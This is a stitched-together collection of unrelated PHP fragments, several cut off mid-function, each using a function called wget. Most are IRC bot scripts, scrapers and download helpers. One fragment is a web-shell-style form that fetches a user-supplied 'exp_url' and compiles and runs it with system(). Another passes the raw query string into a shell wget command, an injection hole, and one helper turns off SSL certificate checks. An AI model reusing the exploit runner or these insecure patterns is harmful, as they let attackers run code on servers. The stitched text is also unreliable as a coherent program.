function make_static($kuerzel = "") { $kuerzel = trim($kuerzel); $data = $this->show_all4($kuerzel); // unvollst. dokument $fh = fopen("cache/_all_" . $kuerzel . ".html", "w"); fputs($fh, $data); fclose($fh); // dokument mit header dateien (wenn gegeben) $sql = "SELECT head,foot FROM " . $this->_prefix . "press_sites WHERE kuerzel='{$kuerzel}'"; $res = $this->_SQL->select($sql); //print_r($res); if (!empty($res)) { $head = wget($res[0]['head']); $foot = wget($res[0]['foot']); $fname = "cache/_cus_" . $kuerzel . ".html"; // schreibe doc mit headern if (!is_writable($fname)) { die("\nEs fehlen ihnen die Rechte, um {$fname} schreiben zu duerfen! \ndied.\n"); } $fh = fopen("cache/_cus_" . $kuerzel . ".html", "w"); fputs($fh, $head . $data . $foot); fclose($fh); } }
function get_raw_title($redirect_data) { $rd_url = $redirect_data["url"]; $rd_cookies = $redirect_data["cookies"]; $rd_extra_headers = $redirect_data["extra_headers"]; $host = ""; $uri = ""; $port = 80; if (get_host_and_uri($rd_url, $host, $uri, $port) == False) { term_echo("get_host_and_uri=false"); return False; } $breakcode = "return ((strpos(strtolower(\$response),\"</title>\")!==False) or (strlen(\$response)>=10000));"; #$breakcode=""; $response = wget($host, $uri, $port, ICEWEASEL_UA, $rd_extra_headers, 20, $breakcode, 256); #var_dump($response); $html = strip_headers($response); $title = extract_raw_tag($html, "title"); $title = html_decode($title); $title = trim(html_decode($title)); if ($title == "") { term_echo(" get_raw_title: title is empty"); return False; } return $title; }
function get_api_data($uri) { $host = "bitbucket.org"; $port = 443; $headers = ""; $response = wget($host, $uri, $port, ICEWEASEL_UA, $headers, 60); $content = strip_headers($response); return json_decode($content, True); }
function updates() { return; // doesn't work $homeurl = "http://ch-becker.de/software/unipress.html"; $latest = wget($homeurl); $infos = wget($homeurl . $latest); if (VERSION != $latest) { return "Ihre Version von unipress ist veraltet." . "<pre>\nIhre Version: " . VERSION . "\nNeueste Version: " . $latest . "\nInformationen: " . $infos . "</pre>"; } else { echo "Sie setzen die neueste Version ein."; } }
function copyright_check_url($html, $anchor_url) { $host = ""; $uri = ""; $port = ""; if (get_host_and_uri($anchor_url, $host, $uri, $port) == True) { $response = wget($host, $uri, $port, ICEWEASEL_UA, "", 60); $anchor_html = strip_headers($response); #<crutchy> cull spaces and special chars, lowercase all, strip tags, css etc and compare #<crutchy> have some kind of arbitrary string length (or maybe %) that causes trigger } return True; }
function chromas_log($alias, $trailing, $dest) { $params = parse_parameters($trailing, "=", " "); if ($params !== False) { foreach ($params as $key => $value) { if (strpos($key, " ") !== False) { $params = False; break; } } } if ($params === False) { term_echo("chromas_log failed: invalid parameters"); return False; } # chromas, 23 march 2015 if (isset($params["until"]) == False) { date_default_timezone_set("UTC"); $params["until"] = strftime("%F %T", time() - 5); } $paramstr = ""; foreach ($params as $key => $value) { if ($paramstr != "") { $paramstr = $paramstr . "&"; } $paramstr = $paramstr . urlencode($key) . "=" . urlencode($value); } if (isset($params["channel"]) == False) { $paramstr = $paramstr . "&channel=" . urlencode($dest); } if (isset($params["out"]) == False) { $paramstr = $paramstr . "&out=irc-full"; } if ($alias == "~log") { $uri = "/s/soylent_log.php?" . $paramstr; } else { $uri = "/s/soylent_log.php?op=" . $alias . "&" . $paramstr; } if (get_bucket("chromas_irc_log_debug") == "on") { pm("chromas", "http://chromas.0x.no" . $uri); pm("crutchy", "http://chromas.0x.no" . $uri); } $response = wget("chromas.0x.no", $uri, 80, ICEWEASEL_UA, "", 10, "", 1024, False); $html = trim(strip_headers($response)); if ($html == "") { pm("#", "chromas_log failed: no response"); return False; } $lines = explode("\n", trim($html)); return $lines; }
function getExterns($externs) { $out = ''; foreach ($externs as $filename => $names) { $url = 'https://raw.githubusercontent.com/google/closure-compiler/master/' . $filename; // Concat multiline definitions $file = preg_replace('#, *\\n#', ', ', wget($url)); // Remove the file header $file = preg_replace('(/\\*\\*.*?@fileoverview.*?\\*/)s', '', $file); preg_match_all('(/\\*\\*.*?\\*/\\s*(\\w[^\\n]+))s', $file, $m); foreach ($names as $name) { $len = strlen($name); foreach ($m[1] as $k => $line) { if (substr($line, 0, $len) === $name) { $out .= $m[0][$k] . "\n"; continue 2; } } echo "Could not find {$name}\n"; } } // Remove superfluous doc like comments and @see links $out = preg_replace('#^ \\*(?!/| @(?!see)).*\\n#m', '', $out); // Remove unnecessary annotations $annotations = [" * @implements {EventTarget}\n"]; $out = str_replace($annotations, '', $out); // Prepend some legalese to be on the safe side $out = '/* * Copyright 2008 The Closure Compiler Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // This file was auto-generated. // See https://github.com/google/closure-compiler for the original source. // See https://github.com/s9e/TextFormatter/blob/master/scripts/generateExterns.php for details. ' . $out; return str_replace("\t", '', $out); }
function getEanCommonInfo($ean) { $url = "http://shopping.daum.net/mini/barcodesearch.daum?barcode={$ean}"; $html = wget($url); //$html = str_replace("<!doctype html>","", $html); /* echo "<xmp>"; echo $html; echo "</xmp>"; */ header("Content-type:text/html;charset=utf8"); $dom = new DOMDocument(); @$dom->loadHTML("<?xml encoding=\"UTF-8\"/>" . $html, LIBXML_NOWARNING); $path = new DOMXpath($dom); $xpProductName = $path->query("//*[@id=\"daumContent\"]/div[3]/div/div[1]/dl[1]/dd/strong"); $xpVendorName = $path->query("//*[@id=\"daumContent\"]/div[3]/div/div[1]/dl[2]/dd/strong"); $productname = $xpProductName->item(0)->nodeValue; $vendorname = $xpVendorName->item(0)->nodeValue; $productname = str_replace("...", "", $productname); $o = (object) null; $o->productname = $productname; $o->vendor = $vendorname; $xpList = $path->query('//*[@id="daumContent"]/div[3]/div/div[2]/ul/li/div[1]/a/img'); if ($xpList->length > 0) { $img = $xpList->item(0)->getAttribute("src"); $match = preg_match('/fname=(.*)/', $img, $names); $thumbnail = wgetSave($img, "/public/product/", $ean . '.jpg'); $fimg = urldecode($names[1]); $match = preg_match('/p\\/([A-Z0-9]+).jpg/', $fimg, $codes); $code = $codes[1]; $thumbnail_big = wgetSave($fimg, "/public/product", $ean . "_big.jpg"); $o->daum_prodcode = $code; $o->thumbnail = $thumbnail; $o->thumbnail_big = $thumbnail_big; } return $o; }
function hosterExec($thisHoster, $packet, $packetDownloadDir, $file) { global $CONFIG; $retval = ''; $url = $file->get('uri'); $filename = basename($url); #printd("hoster.default.php hosterExec '$url'\n"); $file->save('size', wgetHeaderSize($url, $packet->get('httpUser'), $packet->get('httpPassword'))); $tmpfile = $packetDownloadDir . '/.' . $filename; wget($url, $tmpfile, null, $packet->get('httpUser'), $packet->get('httpPassword')); $error = 0; if (file_exists($tmpfile)) { $size = filesize($tmpfile); $newfilePath = $packetDownloadDir . '/' . $filename; rename($tmpfile, $newfilePath); if (file_exists($newfilePath)) { $retval = $newfilePath; } if ($error) { $retval = (int) $error; } } return $retval; }
$source_body=html_decode($source_body); #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # the following code posts a submission to SoylentNews #return; if ($nick<>"crutchy") { privmsg("exec's submit script is borken. blame crutchy"); return; } */ $host = "soylentnews.org"; $port = 443; $uri = "/submit.pl"; $response = wget($host, $uri, $port, ICEWEASEL_UA); $html = strip_headers($response); $reskey = extract_text($html, "<input type=\"hidden\" id=\"reskey\" name=\"reskey\" value=\"", "\">"); if ($reskey === False) { privmsg("error: unable to extract reskey"); return; } sleep(25); $params = array(); $params["reskey"] = $reskey; #$params["name"]=trim(substr($nick,0,50)); $params["name"] = get_bot_nick(); $params["email"] = ""; $params["subj"] = trim(substr($source_title, 0, 100)); $params["primaryskid"] = "1"; $params["tid"] = "6";
$response = wtouch($host, $uri, $port, 120); $response_g = wtouch($host_g, $uri, $port, 120); if ($response === False and $response_g !== False) { pm("crutchy", "ALERT: \"" . strtoupper($host) . "\" HOST IS UNAVAILABLE ON PORT {$port}"); $account = users_get_account($verifier_nick); if ($account == $verifier_account) { pm($verifier_nick, $verifier_msg); } else { # DON'T TRUST EXEC TO ALERT ANYTHING ON IT'S OWN #pm("#soylent",chr(3)."08".chr(2)."*** ALERT: \"".strtoupper($host)."\" HOST IS UNAVAILABLE ON PORT $port ***"); } return; } $extra_headers = array(); $extra_headers["Cookie"] = sn_login(); $response = wget($host, $uri, $port, ICEWEASEL_UA, $extra_headers); $delim1 = "<b>Progress So Far: \$"; $delim2 = "</b>"; $amount = extract_text($response, $delim1, $delim2); if ($amount !== False) { $data = exec_file_read("previous_sn_funding"); $previous = ""; if (count($data) > 0) { $previous = trim($data[0]); } else { term_echo("funding: count(data) = 0"); } if ($previous != $amount) { pm("#soylent", chr(3) . "05" . "*** SN funding has changed from \${$previous} to \${$amount}"); exec_file_write("previous_sn_funding", array($amount)); } else {
<?php set_time_limit(120); header("Content-Type:text/xml"); $r = file_get_contents(wget($_SERVER[QUERY_STRING], file_get_contents('php://input'))); file_put_contents('/tmp/x.xml', $r . "\n", FILE_APPEND); echo $r; function wget($u, $p) { $request = '/tmp/' . rand() . time() . '.post.xml'; $response = '/tmp/' . rand() . time() . '.xml'; file_put_contents($request, $p); `wget --header "Content-Type:text/xml" --post-file={$request} '{$u}' -O {$response} > /dev/null 2>&1`; return $response; }
<select name="run"> <option>c++ | .cpp</option> <option>python | .py</option> <option>perl | .pl</option> <option>ruby | .rb</option> </select> <input type="hidden" name="action" value="exploit"> <input type="submit" value="Start"> </form> </center> <?php } if (isset($_GET['exp_url'])) { echo '<center>'; if (function_exists("wget")) { wget($_GET['exp_url']); echo $_GET['exp_url'] . ' got in here'; if (function_exists("system")) { if (isset($_GET['run'])) { $run = $_GET['run']; if ($run = 'c++ | .cpp') { system("gcc -o exploit " . $_GET['exp_url'] . ";chmod +x exploit;./exploit;"); } if ($run = 'perl | .pl') { } if ($run = 'python | .py') { } if ($run = 'ruby | .rb') { } } } else {
function wiki_unspamctl($nick, $trailing) { $account = users_get_account($nick); $allowed = array("crutchy", "chromas", "mrcoolbp", "paulej72", "juggs", "martyb"); if (in_array($account, $allowed) == False) { privmsg(" error: not authorized"); return; } $title = trim(substr($trailing, strlen(".unspamctl"))); if ($title == "") { privmsg(" syntax: .unspamctl <page title>"); return; } if (login($nick, True) == False) { return; } $cookieprefix = get_bucket("wiki_login_cookieprefix"); $sessionid = get_bucket("wiki_login_sessionid"); if ($cookieprefix == "" or $sessionid == "") { privmsg(" not logged in"); return; } $headers = array("Cookie" => login_cookie($cookieprefix, $sessionid)); $uri = "/w/api.php?action=query&format=php&meta=tokens&type=rollback"; $response = wget(WIKI_HOST, $uri, 80, WIKI_USER_AGENT, $headers); $data = unserialize(strip_headers($response)); if (isset($data["query"]["tokens"]["rollbacktoken"]) == False) { privmsg(" error getting rollbacktoken"); logout(True); return; } $token = $data["query"]["tokens"]["rollbacktoken"]; /*$uri="/w/api.php?action=edit"; $params=array( "format"=>"php", "title"=>$title, "text"=>$text, "contentformat"=>"text/x-wiki", "contentmodel"=>"wikitext", "bot"=>"", "token"=>$token); $response=wpost(WIKI_HOST,$uri,80,WIKI_USER_AGENT,$params,$headers); $data=unserialize(strip_headers($response)); if (isset($data["error"])==True) { privmsg(" error: ".$data["error"]["code"]); } else { $msg=$data["edit"]["result"]; if ($data["edit"]["result"]=="Success") { if ((isset($data["edit"]["oldrevid"])==True) and (isset($data["edit"]["newrevid"])==True)) { $msg=$msg.", oldrevid=".$data["edit"]["oldrevid"].", newrevid=".$data["edit"]["newrevid"]; } } privmsg(" $msg"); $title=str_replace(" ","_",$title); privmsg(" http://wiki.soylentnews.org/wiki/".urlencode($title)); }*/ logout(True); }
##################################################################################################### require_once "lib.php"; $trailing = $argv[1]; $dest = $argv[2]; $nick = $argv[3]; $alias = $argv[4]; $cmd = $argv[5]; $agent = ICEWEASEL_UA; $host = "www.just-one-liners.com"; $port = 80; if (mt_rand(0, 4) == 0) { $uri = "/"; } else { $uri = "/category/confucius-say-wordplay"; } $response = wget($host, $uri, $port, $agent); $delim1 = "<h2 class=\"title\" id=\"post-"; $delim2 = "</h2>"; $text = extract_text($response, $delim1, $delim2); if ($text === False) { return; } $i = strpos($text, "<"); if ($i === False) { return; } $text = substr($text, $i); $text = replace_ctrl_chars($text, " "); $text = trim(strip_tags($text)); $text = str_replace(" ", " ", $text); $text = html_decode($text);
$source1 = 'Uploaded'; $name1 = $_FILES['file1']['name']; $filecontents1 = read_file_contents($_FILES['file1']['tmp_name']); } else { print "<p>No document was specified for Document 1.</p>"; } } } $source2 = 'Downloaded'; if ($_GET['url2']) { $name2 = $_GET['url2']; $filecontents2 = wget($_GET['url2']); } else { if ($_POST['url2']) { $name2 = $_POST['url2']; $filecontents2 = wget($_POST['url2']); } else { if ($_FILES['file2']['tmp_name']) { $source2 = 'Uploaded'; $name2 = $_FILES['file2']['name']; $filecontents2 = read_file_contents($_FILES['file2']['tmp_name']); } else { print "<p>No document was specified for Document 2.</p>"; } } } $shorturl1 = htmlspecialchars(shorten_url($name1)); $shorturl2 = htmlspecialchars(shorten_url($name2)); echo '<html>' . "\r\n"; echo "<head><title>Duplicate Detector: {$shorturl1} x {$shorturl2}</title></head>\r\n"; echo '<body>' . "\r\n";
function wget_ssl($host, $uri, $agent = ICEWEASEL_UA, $extra_headers = "") { return wget($host, $uri, 443, $agent, $extra_headers); }
/** * 获取远程内容。 * james add * @author Issac * @param string $url 链接。 * @param array $headers 可选,头信息,键值对。 * @param array $form 可选,表单数据,键值对。 * @param array $files 可选,要上传的文件表,键值对。 * @param array $cookies 可选,COOKIES,键值对。 * @param string $referer 可选,链接来源。 * @param string $useragent 可选,用户代理,默认仿冒 Firefox 17.0。 * @param int $timeout 可选,超时,默认不限制。 * @return array 错误返回 false。否则返回远程内容数组,包括:Head 头,Body 响应正文,Info 信息。 */ private function wget($url = null, array $headers = null, array $form = null, array $files = null, array $cookies = null, $referer = null, $useragent = null, $timeout = 0) { if (function_exists('wget')) { return wget($url, $headers, $form, $files, $cookies, $referer, $useragent, $timeout); } static $error; if (func_num_args() === 0) { return $error; } if (!function_exists('curl_init')) { $error = array('Code' => 999, 'Error' => 'cURL extension is not install.'); return false; } if (!isset($useragent)) { $useragent = 'Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0'; } $options = array(CURLOPT_USERAGENT => $useragent, CURLOPT_FAILONERROR => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_ENCODING => 'gzip, deflate', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_RETURNTRANSFER => true, CURLOPT_URL => $url, CURLOPT_HEADER => true); if (isset($referer)) { $options[CURLOPT_REFERER] = $referer; } if (isset($headers)) { $hs = array(); foreach ($headers as $k => $v) { $hs[] = $k . ': ' . $v; } $options[CURLOPT_HTTPHEADER] = $hs; } if (isset($cookies)) { $cs = array(); foreach ($cookies as $k => $v) { $cs[] = $k . '=' . $v; } if (count($cs) > 0) { $options[CURLOPT_COOKIE] = implode(';', $cs); } } if (isset($timeout) && $timeout > 0) { $options[CURLOPT_TIMEOUT] = $timeout; } if (isset($form) || isset($files)) { $posts = array(); if (isset($form)) { foreach ($form as $k => $v) { $posts[$k] = $v; } } if (isset($files)) { foreach ($files as $k => $f) { $posts[$k] = '@' . $f; } } if (count($posts) > 0) { $postfields = ''; foreach ($posts as $k => $v) { $postfields .= $k . '=' . $v . '&'; } $postfields = substr($postfields, 0, -1); $options[CURLOPT_POST] = true; $options[CURLOPT_POSTFIELDS] = $postfields; } } $result = false; $error = null; if ($conn = curl_init()) { if (curl_setopt_array($conn, $options)) { $response = curl_exec($conn); if ($response !== false && curl_errno($conn) === 0) { $result = array(); $result['Url'] = $url; $result['Raw'] = $response; list($header, $body) = explode("\r\n\r\n", $response, 2); $status = explode("\r\n", $header, 2); $result['Status'] = array_shift($status); $result['Head'] = array_shift($status); $result['Body'] = $body; $result['Info'] = curl_getinfo($conn); } else { $error = array('Code' => curl_errno($conn), 'Error' => curl_error($conn)); } } else { $error = array('Code' => 200, 'Error' => 'Options configuration incorrect.'); } curl_close($conn); } else { $error = array('Code' => 201, 'Error' => 'cURL initialization failed.'); } return $result; }
function source_define($host, $term, $params) { global $debug; $sterm = $term; if ($params["space_delim"] != "") { $sterm = str_replace(" ", $params["space_delim"], $sterm); } $uri = str_replace($params["template"], urlencode($sterm), $params["uri"]); term_echo("*** DEFINE: trying {$host}{$uri} on port " . $params["port"]); $response = wget($host, $uri, $params["port"], ICEWEASEL_UA, "", 20); $html = strip_headers($response); $html = replace_ctrl_chars($html, " "); strip_all_tag($html, "head"); strip_all_tag($html, "script"); if ($debug == "ON") { privmsg("debug [{$host}]: uri = \"{$uri}\""); $L = strlen($html); privmsg("debug [{$host}]: html length = \"{$L}\""); unset($L); privmsg("debug [{$host}]: delim_start = \"" . $params["delim_start"] . "\""); privmsg("debug [{$host}]: delim_end = " . $params["delim_end"] . "\""); } $i = strpos($html, $params["delim_start"]); $def = ""; if ($i !== False) { if ($debug == "ON") { privmsg("debug [{$host}]: delim_start pos = \"{$i}\""); } $html = substr($html, $i + strlen($params["delim_start"])); $i = strpos($html, $params["delim_end"]); if ($i !== False) { if ($debug == "ON") { privmsg("debug [{$host}]: delim_end pos = \"{$i}\""); } $def = trim(strip_tags(substr($html, 0, $i))); $def = str_replace(array("\n", "\r"), " ", $def); $def = str_replace(" ", " ", $def); if (strlen($def) > MAX_DEF_LENGTH) { $def = trim(substr($def, 0, MAX_DEF_LENGTH)) . "..."; } } } if ($def == "") { $location = exec_get_header($response, "location"); if ($location == "") { return False; } else { $new_term = extract_text($location, $params["get_param"], "&", True); if ($new_term != $term) { term_echo("redirecting to \"{$location}\""); if ($debug == "ON") { privmsg("debug [{$host}]: redirecting to \"{$location}\""); } return source_define($host, $new_term, $params); } else { return False; } } } else { if ($params["ignore"] != "" and strpos($def, $params["ignore"]) !== False) { return False; } if (strpos($def, "There aren't any definitions") !== False) { return False; } privmsg("[" . $params["name"] . "] " . chr(3) . "03{$term}" . chr(3) . ": " . html_decode($def)); return True; } }
$trailing = trim($argv[1]); $dest = $argv[2]; $nick = $argv[3]; $alias = substr($argv[4], 1); if ($trailing == "debug on") { set_bucket("chromas_irc_log_debug", "on"); privmsg(" enabled debug pm"); return; } elseif ($trailing == "debug off") { unset_bucket("chromas_irc_log_debug"); privmsg(" disabled debug pm"); return; } $lines = chromas_log($alias, $trailing, $dest); if ($lines === False) { $response = wget("chromas.0x.no", "/s/soylent_log.php", 80); $html = trim(strip_headers($response)); $html = str_replace("\n", " ", $html); privmsg(chr(3) . "03" . $html); privmsg(chr(3) . " http://chromas.0x.no/s/soylent_log.php"); return; } $cutoff_index = 4; for ($i = 0; $i < count($lines); $i++) { if ($i > $cutoff_index) { $n = count($lines) - $cutoff_index - 1; privmsg(chr(3) . "03{$n} records not shown - refer to http://chromas.0x.no{$uri}"); break; } $msg = trim($lines[$i]); if ($msg != "") {
ini_set("display_errors", "on"); require_once "lib.php"; define("JOURNALS_FEED_FILE", "../data/journals_feed.txt"); define("JOURNALS_ID_FILE", "../data/journals_id.txt"); $host = "soylentnews.org"; $list_uri = "/journal.pl?op=top"; $port = 80; $msg = chr(3) . "08" . "********** " . chr(3) . "03" . chr(2) . "SOYLENTNEWS JOURNAL FEED" . chr(2) . chr(3) . "08" . " **********"; output($msg); $last_id = 878; if (file_exists(JOURNALS_ID_FILE) == True) { $last_id = file_get_contents(JOURNALS_ID_FILE); } $msg = "last journal = {$last_id}"; output($msg); $response = wget($host, $list_uri, $port, ICEWEASEL_UA, "", 60); $html = strip_headers($response); $delim1 = "<!-- start template: ID 60, journaltop;journal;default -->"; $delim2 = "<!-- end template: ID 60, journaltop;journal;default -->"; $html = extract_text($html, $delim1, $delim2); if ($html === False) { output("error: journal list not found"); return; } $rows = explode("<tr>", $html); array_shift($rows); array_shift($rows); $item_count = 20; for ($i = 0; $i < max($item_count, count($rows)); $i++) { $cells = explode("<td valign=\"top\">", $rows[$i]); if (count($cells) != 4) {
if ($trailing != "") { $reason = " (reason: " . $trailing . ")"; } privmsg("editor ping for {$nick}{$reason}: janrinok LaminatorX n1 nick martyb Bytram Azrael mrcoolbp cmn32480 coolhand takyon cmn32480|away bytram|away"); return; case "~devs": $reason = ""; if ($trailing != "") { $reason = " (reason: " . $trailing . ")"; } privmsg("dev ping for {$nick}{$reason}: TheMightyBuzzard paulej72"); return; } switch ($trailing) { case "meeting": $response = wget("soylentnews.org", "/"); $delim1 = "<!-- begin site_news block -->"; $delim2 = "<!-- end site_news block -->"; $max_len = 300; $text = extract_text($response, $delim1, $delim2); $parts = explode("<hr>", $text); $result = ""; for ($i = 0; $i < count($parts); $i++) { if (strpos(strtolower($parts[$i]), "meeting") !== False) { $result = $parts[$i]; } } if ($result != "") { term_echo($result); $result = strip_tags($result); $result = replace_ctrl_chars($result, " ");
<?php /* exec:~jisho|20|0|0|1|||||php scripts/jisho2.php %%trailing%% help:~jisho|syntax: ~jisho <word> help:~jisho|looks up jisho.org */ require_once "lib.php"; $trailing = trim($argv[1]); if ($trailing == "") { privmsg("syntax: ~jisho <word>"); privmsg("looks up jisho.org"); return; } $response = wget("jisho.org", "/api/v1/search/words?keyword=" . urlencode($trailing)); $content = strip_headers($response); if ($content === False) { privmsg("error downloading"); return; } $results = json_decode($content, True); if (isset($results["data"]) == False) { privmsg("invalid result"); return; } for ($i = 0; $i < min(2, count($results["data"])); $i++) { $out = ""; for ($j = 0; $j < count($results["data"][$i]["japanese"]); $j++) { if ($out != "") { $out = $out . ", "; }
# .jdict|20|0|0|1|||##anime-japanese,#irciv||php scripts/japanese.php %%trailing%% %%dest%% %%nick%% %%alias%% ##################################################################################################### require_once "lib.php"; define("HOST", "www.romajidesu.com"); define("MAX_ITEMS", 2); $trailing = trim($argv[1]); $dest = $argv[2]; $nick = $argv[3]; $alias = $argv[4]; if ($trailing == "") { privmsg("syntax: .jdict <word>"); privmsg("looks up www.romajidesu.com"); return; } $uri = "/dictionary/meaning-of-" . urlencode($trailing) . ".html"; $response = wget(HOST, $uri); $html = strip_headers($response); if ($html === False) { privmsg("error downloading"); return; } $items = explode("<div class=\"search_items\">", $html); array_shift($items); $n = min(MAX_ITEMS, count($items)); $results = array(); for ($i = 0; $i < $n; $i++) { $delim1 = "<ruby>"; $delim2 = "</ruby>"; $result = extract_text($items[$i], $delim1, $delim2); if ($result !== False) { $result = str_replace("<rp>(", " <rp>(", $result);
##################################################################################################### ini_set("display_errors", "on"); require_once "lib.php"; $trailing = trim($argv[1]); $dest = $argv[2]; $nick = $argv[3]; $alias = $argv[4]; if ($trailing == "") { privmsg("syntax: .jisho <word>"); privmsg("looks up jisho.org"); return; } $max_items = 2; $host = "jisho.org"; $uri = "/search/" . urlencode($trailing); $response = wget($host, $uri); $html = strip_headers($response); if ($html === False) { privmsg("error downloading"); return; } $items = explode("<div class=\"concept_light clearfix\">", $html); array_shift($items); $results = array(); for ($i = 0; $i < count($items); $i++) { $result = array(); # hiragana $delim1 = "<span class=\"kanji-2-up kanji\">"; $delim2 = "</span>"; $result_hiragana_2 = extract_text($items[$i], $delim1, $delim2); $delim1 = "<span class=\"kanji-3-up kanji\">";
#exec:~nethack|15|20|0|1|||||php scripts/nethack.php %%trailing%% %%dest%% %%nick%% #startup:~join #nethack */ ##################################################################################################### require_once "lib.php"; $trailing = $argv[1]; $dest = $argv[2]; $nick = $argv[3]; $fn = DATA_PATH . "nethack_ncommander"; $old = ""; if (file_exists($fn) == True) { $old = trim(file_get_contents($fn)); } $host = "alt.org"; $port = 80; $uri = "/nethack/player-endings.php?player=NCommander"; $response = wget($host, $uri, $port); $html = strip_headers($response); $cells = explode("<TR", $html); $last = array_shift(explode("</TR>", array_pop($cells))); $last = str_replace("</TD>", " ", $last); $last = strip_tags($last); $last = array_pop(explode(">", $last)); $last = clean_text($last); if ($last != $old) { pm("#Soylent", "NCommander was killed: " . $last); file_put_contents($fn, $last); } else { term_echo("NETHACK >>> {$last}"); } #####################################################################################################
} return $str; } function pcreChr($cp) { if ($cp >= 32 && $cp <= 126) { return preg_quote(chr($cp)); } return '\\u' . sprintf('%04X', $cp); } function wget($url) { return file_get_contents('compress.zlib://' . $url, false, stream_context_create(['http' => ['header' => 'Accept-Encoding: gzip']])); } if (!file_exists('/tmp/props.txt')) { file_put_contents('/tmp/props.txt', wget('http://unicode.org/Public/UNIDATA/PropList.txt') . "\n" . wget('http://unicode.org/Public/UNIDATA/DerivedCoreProperties.txt')); } $supportedProperties = array_flip(['L&', 'Ll', 'Lm', 'Lo', 'Lt', 'Lu', 'Nd', 'Nl', 'No', 'Pc', 'Pd', 'Pe', 'Pf', 'Pi', 'Po', 'Ps', 'Sc', 'Sk', 'Sm', 'So', 'Zl', 'Zp', 'Zs']); $lines = file('/tmp/props.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $ranges = []; foreach ($lines as $line) { if ($line[0] === '#' || $line[4] !== ' ' && $line[4] !== '.') { // Ignore comments and stuff outside of the BMP continue; } $propName = substr($line, strpos($line, '# ') + 2, 2); if (!isset($supportedProperties[$propName])) { continue; } $range = substr($line, 0, 4) . substr($line, 6 * ($line[4] === '.'), 4); $ranges['p' . $propName][$range] = false;
'expresion' => 'frbrer:C1002', 'manifestacion' => 'frbrer:C1003', 'obra' => 'frbrer:C1001', 'nacimiento' => 'bio:Birth', 'muerte' => 'bio:Death' ); */ $formatos = array_flip(array('text/html', 'application/sparql-results+json', 'application/javascript', 'text/turtle', 'text/plain', 'application/sparql-results+xml', 'text/csv', 'text/tab-separated-values', 'application/rdf+xml', 'application/json')); $tipo = $_recurso[0]; $id = isset($_recurso[1]) ? $_recurso[1] : ''; $format = trim((string) $_REQUEST['format']); $url = "http://datos.bn.cl/recurso/{$tipo}/{$id}"; //$sparql = urlencode( "select distinct ?a ?b ?c where { { ?a ?b ?c . filter regex( str( ?a ), '$url' ) } union { ?a ?b ?c . filter regex( str( ?c ), '$url' ) } }" ); $sparql = urlencode("select distinct ?a ?b ?c where { { <{$url}> ?b ?c } union { ?a ?b <{$url}> } }"); $url_sparql = "http://datos.bn.cl/sparql?query={$sparql}&format=" . urlencode(!isset($formatos[$format]) ? "application/sparql-results+json" : $format); $res = wget($url_sparql); //Se debe checkear la existencia de resultado if (isset($formatos[$format])) { header('Content-type: ' . $format); echo $res; exit; } $res = json_decode($res, TRUE); $nombre = ""; foreach ($res['results']['bindings'] as $v) { if (preg_match('/(title|name)$/', $v['b']['value'])) { $nombre = $v['c']['value']; } } $require_base = TRUE; //hack for relative urls
global $url, $id_array, $backup_dir; $result = new_wget(@file_get_contents($adddr), $adddr, true, $id_array); $fp = fopen($backup_dir . '/' . str_replace('?', '_', str_replace('/', '_', $orig)) . '.html', 'wb'); fputs($fp, $result->text); for ($i = 0; $i < sizeof($result->download_name); $i++) { copy_the_file($result->download_link[$i], $result->download_name[$i]); } } $query = mysql_query("select * from tree_cd"); while ($str = mysql_fetch_array($query)) { $id_array[] = $str['id']; } if ($_POST['type'] == "id") { $console_file = fopen('console.txt', 'w'); mysql_query("update tree_cd set uptime=0 where id=" . $_POST['id']); wget($_POST['id'], $console_file); echo "Раздел за нумером " . $_POST['id'] . " готов."; fclose($console_file); } elseif ($_POST['type'] == "css") { $css = array('fonts.css', 'main2.css', 'menu.css', 'print.css', 'style.css', 'style_ie6.css'); foreach ($css as $k => $v) { $path = "css/" . $v; $result = new_wget(file_get_contents("http://" . $_SERVER['HTTP_HOST'] . '/' . $path), "http://" . $_SERVER['HTTP_HOST'] . '/' . $path, true, $id_array); if (!$result->text) { continue; } if (!is_dir($backup_dir . '/css')) { mkdir($backup_dir . '/css'); chmod($backup_dir . '/css', 0777); } $fp = fopen($backup_dir . '/' . $path, 'w');
function hosterExec($thisHoster, $packet, $packetDownloadDir, $file) { global $CONFIG; $retval = ''; $rapidpro = $thisHoster['user'] != '' && $thisHoster['password'] != ''; print "hoster.rapidshare-com.php hosterExec '" . $file->get('uri') . "'\n"; if (preg_match('/files\\/([^\\/]*)\\/(.*)/i', $file->get('uri'), $res)) { #var_export($res); $fileid = $res[1]; $filename = $res[2]; $protocol = 'http' . ($thisHoster['ssl'] && $rapidpro ? 's' : ''); $path = "cgi-bin/rsapi.cgi?sub=download_v1&fileid={$fileid}&filename={$filename}&withmd5hex=1"; if ($rapidpro) { $path .= "&login="******"&password="******"{$protocol}://api.rapidshare.com/{$path}"; print "link '{$url}'\n"; $tmp = './tmp/' . $filename . '.tmp'; wget($url, $tmp); if (preg_match('/DL:([^,]*),([^,]*),([^,]*),(.*)/', file_get_contents($tmp), $res)) { $hostname = $res[1]; $dlauth = $res[2]; $countdown = (int) $res[3] + 5; $md5 = strtolower($res[4]); print "host: '{$hostname}'\n"; print "auth: '{$dlauth}'\n"; print "ct: '{$countdown}'\n"; print "md5: '{$md5}'\n"; $url = "{$protocol}://" . $hostname . "/{$path}"; if (!$rapidpro) { $url .= "&dlauth=" . $dlauth; # lol # RS docu: # Downloading as a free user: It IS allowed to create tools, # which download ONE file as a free user from RapidShare. # It is NOT allowed to implement queuing mechanisms. print "wait {$countdown}\n"; sleep($countdown); } print "link '{$url}'\n"; $file->set('size', wgetHeaderSize($url)); $file->set('md5', $md5); $file->save(); $tmpfile = $packetDownloadDir . '/.' . $filename; wget($url, $tmpfile); $error = 0; if (file_exists($tmpfile)) { $size = filesize($tmpfile); if 